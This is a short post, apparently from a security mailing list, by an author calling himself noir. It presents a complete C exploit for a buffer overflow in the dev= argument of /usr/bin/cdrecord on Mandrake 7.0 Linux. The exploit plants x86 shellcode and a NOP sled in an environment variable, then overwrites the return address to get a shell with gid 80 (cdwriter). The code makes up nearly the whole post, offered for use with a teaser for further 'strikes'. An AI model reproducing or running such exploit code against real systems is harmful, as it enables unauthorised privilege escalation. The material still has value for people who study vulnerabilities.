Mandrake 7.0: /usr/bin/cdrecord gid=80 (strike #2)

[noir () GSU LINUX ORG TR (noir)]

U may say gid=80 (cdwriter) is useless but anyways here is the xploit

respect,
noir

PS: wait for strike #3

/*  /usr/bin/cdrecord exploit by noir
 *  x86/Linux
 *  noir () gsu linux org tr | noir () olympos org
 *  dev= param overflow
 *  this script will get you gid = 80 group cdwriter
 *  tested on Mandrake 7.0 (Air)
 *  greetz: dustdevil, Cronos, moog, still, BlaCK #olympos irc.sourtimes.org
 *
 *
 */

#include <stdio.h>
#include <string.h>

#define NOP             0x90
#define RET     0xbffffe66 //play with argv[1] +10, -10 if default is not ok
int
main(int argc, char *argv[])

{
        unsigned char shell[] =
        "\x31\xc0\xb0\x50\x89\xc3\x89\xc1\xb0\x47\xcd\x80"  /*setregid(80, 80) */
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

        char egg[400];
    char buf[80];
        int i, a;
        long ret = RET;

     if(argv[1])
        ret = ret - atoi(argv[1]);

        memset(egg, NOP, 400);

        for(i = 0  ; i < 80 ; i+=4)
                *(long *) &buf[i] = ret;

        for( i = 300, a = 0; a < strlen(shell) ; i++, a++ )
    egg[i] = shell[a];

        buf[72] = 0x00;
        egg[399] = 0x00;
        printf("eip: 0x%x\n", ret);

        setenv("EGG", egg, 1);
        execl("/usr/bin/cdrecord", "cdrecord","dev=", buf, "/etc/passwd", 0);

}

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